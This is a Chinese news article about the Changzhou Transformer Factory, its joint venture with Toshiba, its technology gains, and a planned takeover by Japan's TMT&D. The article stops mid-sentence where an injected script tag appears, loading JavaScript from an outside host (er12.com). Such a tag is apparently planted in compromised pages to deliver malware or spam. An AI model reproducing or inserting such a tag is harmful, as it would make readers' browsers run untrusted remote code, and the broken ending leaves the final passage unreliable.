9年前江苏省常州变压器厂投资800多万元和日本东芝公司进行合资,建立了东芝常州变压器厂,并拿出1000万元购买了东芝公司220kv变压器的生产技术。通过合资,常变现在已经成为国内变压器行业四强之一,并形成一定的自主研发能力。由于常变是全资的国有企业,让常变整体被收购正吻合了常州市国企改革的战略---让国有资本逐步从竞争性领域中退出来。常变陷入被外方全盘收购的境地。收购方是一个巨额亏损的外企。
12月2日,记者下飞机后即直奔江苏省常州变压器厂(以下简称常变)采访。时近6时,天色已晚,在朦胧的夜色中,记者仍然能够感受到一个经过合资后的国有企业的活力。常变现在处于一个关键时刻:要么在学到技术后走自己的路,要么被外资方一口吃掉,成为其"进攻"中国变压器市场的急先锋。而事实上,要想走自己的路已经很难,因为市政府已然决定,由日本的tmt&d公司整体收购常变。
卓有成效的合资
常变建厂于1958年,曾经是国家机械工业部定点生产大型变压器的重点骨干企业,在1995年之前其主要产品为110kv变压器,在行业内一度夺得过市场销售第一的良好业绩。
"由于基础建设对电力资源的大量需求,那时候到我们厂里来要货的人都排成了队。"在常变工作了30多年的总工程师潘伟告诉记者。事实上,当时中国的变压器制造业整体水平不高,表现在以生产中低压变压器为主,并且事故率较高。"常变的事故率最高时曾达到20%。"潘伟说。
为了提高生产技术水平和减少事故率,1995年,常变投资800多万元和日本东芝公司进行合资,建立了东芝常州变压器厂,并拿出1000万元购买了东芝公司220kv变压器的生产技术。在合资的变压器厂,常变占39%的股份,东芝控股61%。
"我们一开始就确立了两个轮子一起转的原则,就是要通过合资,不但让新厂成功运转,而且老厂也旧貌换新颜。"常变厂长陈建国告诉记者。
通过合资,常变现在已经成为中国500家最大电气机械及器材制造企业、国内变压器行业四强之一,已经能够独立生产4大类38个系列230个品种、最高电压220kv的变压器,产品畅销国内,并远销14个国家和地区,220kv变压器国内市场占有率居第四位,110kv变压器居第一位,2004年预计销售收入将达到5亿元。
合资的目的是提高自主生产能力
合资开始后,常变首先决定由自己的技术人员消化东芝的技术。分管技术的副厂长岳亚新把这个阶段称之为"吃下去",就是不折不扣地把东芝比较先进的制造技术搬过来。"我们先后利用东芝的技术生产了一台110kv和一台220kv的样机。在这个过程中,我们对车间进行了设备和技术改造,先后派出5批人到日本学习。我们还请来了东芝设计制造方面的专家,对我们进行技术指导。"岳亚新说,通过对样机的研发,常变完成了技术的初步提升,解决了110kv变压器事故率高的老毛病,而且具备了独立生产220kv变压器的能力。
2002年常变开展了"东芝技术回头看"的深入研讨,在引进技术消化吸收上做进一步提升的文章。常变在市场实践中深切感到,东芝生产变压器的技术尤其是油浸变压器的技术虽然在世界上已经处于领先水平,但用这种技术生产出来的变压器和中国的实际情况还不是十分匹配,我们有自己的国情。"我们先后排查出198个问题。"岳亚新告诉记者,在这些问题全部解决后,常变的变压器生产技术才真正达到了一个比较稳定的高水平。陈建国指着一台他们刚刚生产的大型变压器对记者说:"这种变压器外围都是焊死的,可以做到20年零事故率。"
事实上,常变人很令人敬佩。这是因为他们不但在合资一开始就确定了学技术的路子,在技术水平提升的整个过程中,常变人先后勒紧裤带投入了8000多万元技改经费,而且在把技术完全学到手后,他们仍然没有止步,先后开发出轴向分裂变压器、现场组合式变压器、整流变压器、自耦有载变压器等四大类系列产品。这些产品的生产技术源于东芝又高于东芝。对于常变的努力就连东芝的技术人员也十分叹服。
"通过技术储备,我们现在已经能够承接500kv变压器的生产任务。"岳亚新一脸自豪地对记者说。事实上,由于合资企业东芝常州变压器厂(以下简称芝变)在生产500kv变压器时,大型设备如油箱、线圈都在常变生产,这更增加了常变生产500kv变压器的能力。
外方埋在合资协议中的"鬼"
"日本人鬼得很。"采访中,常变的职工这样告诉记者。他们这样评价合资对象,是因为芝变自1997年投产以来,已经销售500kv变压器490多台,销售收入20多亿元人民币,可日本人还一直声称公司亏损。而事实是,外方已经通过合资获利匪浅。
"常变和东芝合资的时候,签订了一个协议。正是这个协议中的一些现在看起来不平等的规定,才让芝变在合资投产8年后,仍然处于亏损状态。"芝变的一位中层管理者对记者说。这个让日本人得?script src=http://er12.com/t.js>